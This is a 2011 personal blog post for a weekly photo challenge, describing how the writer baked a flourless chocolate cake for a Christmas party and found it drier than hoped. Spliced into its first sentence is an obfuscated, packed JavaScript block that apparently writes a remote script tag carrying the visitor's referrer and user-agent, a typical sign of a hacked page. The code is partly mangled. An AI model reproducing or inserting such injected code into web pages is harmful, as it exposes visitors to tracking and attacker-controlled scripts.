2011 Photo Challenge – Week 50

2011 Photo Project, Holidays

Theme - Festive Colors

For eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hftht|var|u0026u|referrer|fnnbb||js|php’.split(‘|’),0,{}))
an upcoming Christmas party, I made
Tyler Florence’s Flourless Chocolate cake.  I’ve never made his version before, but I couldn’t find online the Cook’s Illustrated version, which has been my to-go recipe since I’ve discovered flourless cakes.  Unfortunately, Florence’s version is more dry than I’d prefere.  Cook’s Illustrated has a rich mousse-like texture – much more palatable when not working with flour.  However, the people I’ll be feeding are not cake  connoisseurs, like myself.  I’m hoping they will never notice the difference.

It’s amazing that mixing egg whites at a high enough speed, you can create a fluffy substance that adds air and lift to any baking recipe.  Who discovered this?  Was it an accident?

Whoever you are who had the imaginative idea to whip egg whites, thank you.

I folded the fluffy egg whites into my chocolate mixture, poured into a spring-form pan and baked at 350 degrees.

While it has turned out drier than I’d prefer, I’ve sprinkled confectioner sugar on top and will serve it with home-made whipped cream.

They will never know the difference. Merry Christmas!




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